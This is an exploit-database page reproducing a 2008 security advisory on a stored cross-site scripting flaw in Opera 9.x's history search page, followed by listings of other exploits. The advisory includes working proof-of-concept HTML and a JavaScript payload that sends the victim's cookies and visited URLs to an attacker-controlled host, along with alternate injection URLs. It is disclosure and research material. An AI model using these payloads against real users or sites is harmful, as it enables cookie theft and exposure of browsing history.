Menu

Search for hundreds of thousands of exploits

"Opera 9.60 - Persistent Cross-Site Scripting"

Author

Exploit author

"Roberto Suggi Liverani"

Platform

Exploit platform

windows

Release date

Exploit published date

2008-10-22

Download file

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
=======================================================================
= Opera Stored Cross Site Scripting Vulnerability
=
= Vendor Website:
= http://www.opera.com
=
= Affected Version:
=   -- All desktop versions
=
= Public disclosure on 22nd October 2008
=
========================================================================
Available online at:
http://www.security-assessment.com/files/advisories/2008-10-22_Opera_Stored_Cross_Site_Scripting.pdf

== Issue Details ==

Opera browser is vulnerable to stored Cross Site Scripting.  A malicious attacker is able to inject arbitrary browser content through the
websites visited with the Opera browser. The code injection is rendered into the Opera History Search page which displays URL and a short
description of the visited pages.

== Bug Analysis ==

Opera.exe imports Opera.dll which handles most of the browser functionality.
Whenever a user visits a page, the URL, and a part of the content of the visited page is saved and compressed in a file named md.dat . The

file md.dat can be found at the following path in a standard Windows Opera installation:

c:\Documents and Settings\user\Local Settings\Application Data\Opera\Opera\profile\vps\0000\md.dat

The vulnerability exists in the way the URL and the content of visited page is stored and rendered from the md.dat file.

== Opera History Search Page Generation ==

User visits a new site. When the user closes the Opera browser, the file md.dat is updated. The Opera browser appends a block of 2000 bytes for each site visited.
The site URL and title are extracted and put in clear text at begin of the 2000 bytes block.
The preview content which appears on opera:historysearch page for the site is compressed into the file md.dat. However, the HTML encoding 
is not consistent across the URL scheme of the site and the injection is possible in the optional fragment of the URL (after the # character).

The following sequence summarises an attack scenario:

1.User visits http://aaa.com/index.htm#<script src=http://badsite/bad.js></script>
2.URL and preview content is stored in the history search page. However, the optional fragment after the character # is not encoded properly.
3.If the user visits the history search page, the cross site scripting is rendered in the user browser context.

== Opera History Search Page Rendering ==

When accessing the History Search page, Opera reads the file md.dat again. The content from md.dat is decompressed and 
saved into a buffer. The buffer is then used to generate a cache file that contains the HTML code of the history search page.
The cache file can be found such as:

c:\Documents and Settings\user\Local Settings\Application Data\Opera\Opera\profile\cache4\opr000EA

Then Opera reads the content from the cache file to display the history search page. The HTML code is not escaped for the optional 
fragment on the URL of the visited pages.

== Opera History/Cookie Exposed - Exploit Description ==

Victim visits site xxx/1.html and clicks on the link. The 1.html source code:

1.HTML

<html>
<a href='http://xxx/2.html#<script src=http://xxx/a.js></script>'>a</a>
</html>

The link includes the cross site scripting injection and brings the victim to page 2.html. The web server returns 200 OK. The 2.html source code:

2.HTML

<html>
This is a proof of concept.

<script>
setTimeout("document.location='opera:historysearch?q=*'",5000);
</script>
</html>

The user is then redirected to the opera:historysearch page where the injection has been stored in the history after the user followed the
link from 1.html. The injection inserted a malicious JavaScript a.js which is executed when the user reaches the opera history search page.

a.js


var x;
for (x in document.links)
{
document.write("<img src=http://yyy/xxx.asp?query="+document.links[x].href+">");
}
document.write("<img src=http://yyy/xxx.asp?keyword="+document.cookie+">");
setTimeout("document.location='http://xxx/3.html'",5000);

The malicious JavaScript includes a cross site forged request that dumps the URL of the visited pages to a third site yyy controlled by the attacker. 
Then the content of the cookie is also dumped and finally the user is redirected to another page 3.html.

== Opera History Cross Site Scripting and Cross Site Request Forgery ==

This is the HTML source code of the opera:historysearch?q=* page following the injection (highlighted in bold):

<li value="3">
<h2><a href="http://xxx/2.html#<script src=http://xxx/a.js></script>">(null)</a></h2>
<p>This is a proof of concept. </p>
<cite><ins>10/9/2008 12:39:16 AM</ins> - http://xxx/2.html#<script src=http://xxx/a.js></script></cite>

Note that in Opera 9.52, the injection is possible in other locations:

URL: http://xxx/2.html?a="><script src=http://xxx/a.js</script>

Injection:

<li value="3">
<h2><a href=http://xxx/2.html?a="><script src=http://xxx/a.js></script>">...


URL: http://xxx/2.html?a=<script src=http://xxx/a.js</script>

Injection:

<li value="3">
<h2><a href="http://xxx/2.html?a=<script src=http://xxx/a.js></script>">(null)</a></h2>
<p>This is a proof of concept. </p>
<cite><ins>10/9/2008 12:39:16 AM</ins> - http://xxx/2.html?a=<script src=http://xxx/a.js></script></cite>

Opera 9.60 has partially fixed the issues above but the HTML encoding is still not consistent.

== Credit ==

Discovered and advised to Opera
October 2008 by Roberto Suggi Liverani of Security-Assessment.com
Personal Page: http://malerisch.net

== Greetings ==

To all my SA colleagues - you guys rock!  ;-) 


== About Security-Assessment.com ==

Security-Assessment.com is Australasia's leading team of Information
Security consultants specialising in providing high quality Information
Security services to clients throughout the Asia Pacific region. Our
clients include some of the largest globally recognised companies in
areas such as finance, telecommunications, broadcasting, legal and
government. Our aim is to provide the very best independent advice and
a high level of technical expertise while creating long and lasting
professional relationships with our clients.

Security-Assessment.com is committed to security research and
development, and its team continues to identify and responsibly publish
vulnerabilities in public and private software vendor's products.
Members of the Security-Assessment.com R&D team are globally recognised
through their release of whitepapers and presentations related to new
security research.

Roberto Suggi Liverani
Security-Assessment.com

# milw0rm.com [2008-10-22]
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2015-04-02 "Kemp Load Master 7.1.16 - Multiple Vulnerabilities" webapps multiple "Roberto Suggi Liverani"
2012-04-22 "Oracle GlassFish Server 3.1.1 (build 12) - Multiple Cross-Site Scripting Vulnerabilities" webapps windows "Roberto Suggi Liverani"
2012-04-22 "Oracle GlassFish Server - REST Cross-Site Request Forgery" webapps windows "Roberto Suggi Liverani"
2011-10-21 "Opera 11.51 - Use-After-Free Crash (PoC)" dos windows "Roberto Suggi Liverani"
2011-08-11 "Adobe RoboHelp 9 - DOM Cross-Site Scripting" webapps cgi "Roberto Suggi Liverani"
2011-03-11 "Oracle WebLogic - POST Session Fixation" webapps multiple "Roberto Suggi Liverani"
2010-10-20 "Oracle JRE - java.net.URLConnection class Same-of-Origin 'SOP' Policy Bypass" remote windows "Roberto Suggi Liverani"
2010-10-20 "Oracle Sun Java System Web Server - HTTP Response Splitting" webapps jsp "Roberto Suggi Liverani"
2010-02-22 "Adobe (Multiple Products) - XML External Entity / XML Injection" dos multiple "Roberto Suggi Liverani"
2008-10-22 "Opera 9.60 - Persistent Cross-Site Scripting" remote windows "Roberto Suggi Liverani"
2008-04-29 "SugarCRM Community Edition 4.5.1/5.0.0 - File Disclosure" webapps php "Roberto Suggi Liverani" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected